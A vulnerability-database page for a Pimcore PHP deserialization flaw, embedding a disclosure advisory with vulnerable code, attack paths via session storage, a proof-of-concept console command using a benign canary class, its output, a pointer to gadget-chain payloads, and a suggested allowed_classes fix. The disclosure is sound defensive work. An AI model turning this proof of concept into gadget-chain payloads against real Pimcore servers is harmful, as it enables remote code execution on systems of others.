CVE Watchtower

CVE-2026-58401pimcore/pimcore Deserialization of Untrusted Data

NVD

Vulnerability Summary

GHSA Draft #1 — `Authentication::safelyUnserialize` PHP object injection (residual of CVE-2026-45162) Title: `(Incomplete Patch) Unsafe PHP deserialization in lib/Tool/Authentication.php remains unpatched after CVE-2026-45162 fix` Package: `pimcore/pimcore` (Packagist) Affected: `>= 11.0.0` through `2026.x` HEAD. Verified line-for-line on `v11.2.6` and `v2026.1.4` (HEAD `0565917f83`). Parent advisory: GHSA-36fc-7wjg-mfvj / CVE-2026-45162 (published 2026-05-26) Severity (CVSS 3.1, est.): 7.2 (High) — `AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H` CWE: CWE-502 (Deserialization of Untrusted Data) --- Summary The patch for CVE-2026-45162 (PR pimcore/pimcore#19119, merged 2026-05-08) explicitly named `lib/Tool/Authentication.php` (line 82 at the time of the advisory; line 84 in `v2026.1.4`) as a vulnerable site, but the merged patch did not touch this file. The protection mechanism actually present — `ini_set('unserialize_callback_func', …)` plus a `set_error_handler` wrapper — only blocks deserialization of classes that PHP's autoloader cannot resolve. Any class shipped by Pimcore's dependency tree (Symfony, Doctrine, Guzzle, Monolog, phpoffice, …) is autoloadable and therefore instantiates normally, including its magic `wakeup` / `destruct` methods. Affected code `lib/Tool/Authentication.php` lines 71–96 at HEAD `0565917f83` (`v2026.1.4`): ```php protected static function safelyUnserialize(string $serializedToken): mixed { $token = null; $prevUnserializeHandler = ini_set('unserialize_callback_func', CLASS.'::handleUnserializeCallback'); $prevErrorHandler = set_error_handler(static function (int $type, string $msg, string $file, int $line, array $context = []) use (&$prevErrorHandler) { if (FILE === $file) { throw new ErrorException($msg, 0x37313BC, $type, $file, $line); } return $prevErrorHandler ? $prevErrorHandler($type, $msg, $file, $line, $context) : false; }); try { $token = unserialize($serializedToken); // line 84 — no allowed_classes option } catch (ErrorException $e) { if (0x37313BC !== $e->getCode()) { throw $e; } Logger::warning('Failed to unserialize the security token from the session.', [...]); } finally { restore_error_handler(); ini_set('unserialize_callback_func', $prevUnserializeHandler); } return $token; } ``` Threat model and reachability `safelyUnserialize` is invoked from `Authentication::authenticateSession` on every HTTP request whose session contains the `_security_pimcore_admin` key. `authenticateSession` is itself reached on every request that passes through the following Pimcore kernel listeners and helpers: `bundles/CoreBundle/src/EventListener/Frontend/FullPageCacheListener.php::onKernelRequest` `bundles/CoreBundle/src/EventListener/Frontend/OutputTimestampListener.php::onKernelRequest` `bundles/CoreBundle/src/EventListener/TranslationDebugListener.php::onKernelRequest` `bundles/CoreBundle/src/EventListener/Frontend/RoutingListener.php::onKernelRequest` `bundles/CoreBundle/src/EventListener/Frontend/DocumentFallbackListener.php` `bundles/CoreBundle/src/EventListener/Frontend/ElementListener.php::onKernelController` `lib/Security/User/UserLoader.php::getUser` Trust boundary: the byte stream is whatever PHP's session handler returns for the `_security_pimcore_admin` key. For deployments using `PdoSessionHandler` (common production setup for multi-node Pimcore), those bytes live in the `sessions` table. For native filesystem sessions, those bytes live in `session.save_path`. Practical attacker primitive (any one of): 1. SQL injection write into the sessions table (e.g. via any disclosed Pimcore SQLi — CVE-2026-44739 Custom Reports, CVE-2026-5394 composite indices, CVE-2026-44741 Translation Grid). 2. Filesystem write into `session.save_path` (e.g. via an asset-upload + path-traversal primitive on a misconfigured container). 3. Session fixation against an admin user when session regeneration is disabled or bypassable. Proof of Concept Docker recipe: official Pimcore skeleton container, MariaDB, PHP 8.x. Pin Pimcore source to `v2026.1.4`. Add the following Symfony console command: ```php <?php namespace App\Command; use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; [AsCommand(name: 'poc:auth')] class PocAuthCommand extends Command { protected function execute(InputInterface $input, OutputInterface $output): int { // Defining a class via eval makes it autoloadable in the current // process — modeling the same situation an attacker creates by // sending serialized bytes referring to any vendor class. eval('class PocAuthCanary { public string $marker = "AUTH_SINK_FIRED"; public function wakeup() { file_put_contents("/tmp/POC_AUTH_FIRED", "WAKEUP " . $this->marker . "\n"); } public function destruct() { file_put_contents("/tmp/POC_AUTH_FIRED", "DESTRUCT " . $this->marker . "\n", FILE_APPEND); } }'); @unlink('/tmp/POC_AUTH_FIRED'); $gadgetBytes = serialize(new \PocAuthCanary()); // Call the actual production code path on the same bytes an attacker // would place in $_SESSION['_security_pimcore_admin']. $rc = new \ReflectionMethod(\Pimcore\Tool\Authentication::class, 'safelyUnserialize'); $rc->setAccessible(true); $result = $rc->invoke(null, $gadgetBytes); $output->writeln('class hydrated: ' . (is_object($result) ? get_class($result) : gettype($result))); if (file_exists('/tmp/POC_AUTH_FIRED')) { $output->writeln(file_get_contents('/tmp/POC_AUTH_FIRED')); $output->writeln('CONFIRMED: Authentication::safelyUnserialize line 84 bypassed for autoloadable classes'); } return 0; } } ``` Observed output running this against `v2026.1.4` source overlaid into the container: ``` class hydrated: PocAuthCanary WAKEUP AUTH_SINK_FIRED CONFIRMED: Authentication::safelyUnserialize line 84 bypassed for autoloadable classes ``` For a public-Internet-realistic chain, replace `PocAuthCanary` with any documented PHPGGC payload that relies on autoloadable classes (Symfony, Guzzle, Monolog, Doctrine — all present in Pimcore's dependency tree). The defense behaves identically: the callback never fires for those classes and `wakeup` / `destruct` execute. Impact Authenticated remote code execution as the PHP-FPM / web-server user, conditional on the attacker holding a session-storage write primitive. Severity comparable to the parent advisory CVE-2026-45162. Suggested fix Replace the callback-based defense with PHP's native `allowed_classes` option. If Pimcore needs to round-trip particular token classes through this function, list them explicitly: ```php protected static function safelyUnserialize(string $serializedToken): mixed { return @unserialize($serializedToken, [ 'allowed_classes' => [ \Symfony\Component\Security\Core\Authentication\Token\TokenInterface::class, \Pimcore\Security\User\User::class, // … concrete token classes Pimcore round-trips through the session ], ]); } ``` The `unserialize_callback_func` and `set_error_handler` boilerplate then becomes unnecessary. Add an integration test that calls `authenticateSession` with a session payload containing a benign extra class to confirm the whitelist is complete before shipping. References Parent advisory: GHSA-36fc-7wjg-mfvj / CVE-2026-45162 — https://github.com/pimcore/pimcore/security/advisories/GHSA-36fc-7wjg-mfvj (advisory body explicitly named this file at line 82) Incomplete patch PR: https://github.com/pimcore/pimcore/pull/19119 — `lib/Tool/Authentication.php` is not in the file list. PHP manual, `allowed_classes`: https://www.php.net/manual/en/function.unserialize.php CWE-502: https://cwe.mitre.org/data/definitions/502.html PHPGGC gadget collection: https://github.com/ambionics/phpggc Disclosure timeline 2026-05-27: Residual sink identified during incomplete-patch sweep of CVE-2026-45162. 2026-05-27: Docker PoC verified on `v11.2.6` (running container) and `v2026.1.4` (HEAD source overlay). 2026-05-27: `scc disclosure-preflight` discipline check passed — no framework inheritance, CVE-warranting verdict. 2026-05-27: Advisory submitted to Pimcore via GitHub private security advisory mechanism.
Severity Level
HIGH(8.0)
Published Date
Oct 20, 2026
Last Modified
Oct 20, 2026
Exploitation Status
Public exploit available
CVE Record Status
Reserved
This CVE ID is referenced in a public advisory, but the CVE Program has not published its official CVE Record yet. Full CVSS/CPE data from NVD will appear here once it does.
Root Weakness (CWE)
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
CVSS v3.1 Base Metrics — Score 8.0
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
Attack VectorNetwork
Attack ComplexityHigh
Privileges RequiredHigh
User InteractionNone
ScopeChanged
ConfidentialityHigh
IntegrityHigh
AvailabilityHigh

Affected & Patched Versions

Affected Versions
  • pimcore/pimcore >= 12.3.0, < 12.3.10
  • pimcore/pimcore >= 11.5.0, < 11.5.19
  • pimcore/pimcore >= 2026.1.0, < 2026.1.6
Patched Versions
  • pimcore/pimcore 12.3.10
  • pimcore/pimcore 11.5.19
  • pimcore/pimcore 2026.1.6

What to do

Prioritize this fix. Exploit code is public, so attacks can follow quickly.

  1. Check whether you run pimcore/pimcore and which version.
  2. Update to a patched version listed above, then confirm the new version.
  3. Review logs and exposed services for signs of earlier compromise.

Timeline

  • Oct 20, 2026Published
  • Oct 20, 2026Record last modified

Score, severity and exploitation changes are tracked from the day Watchtower started logging them.

Get notified about new pimcore/pimcore CVEsYou are reading CVE-2026-58401. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alerts

Data last checked: Nov 24, 2026 14:00 UTC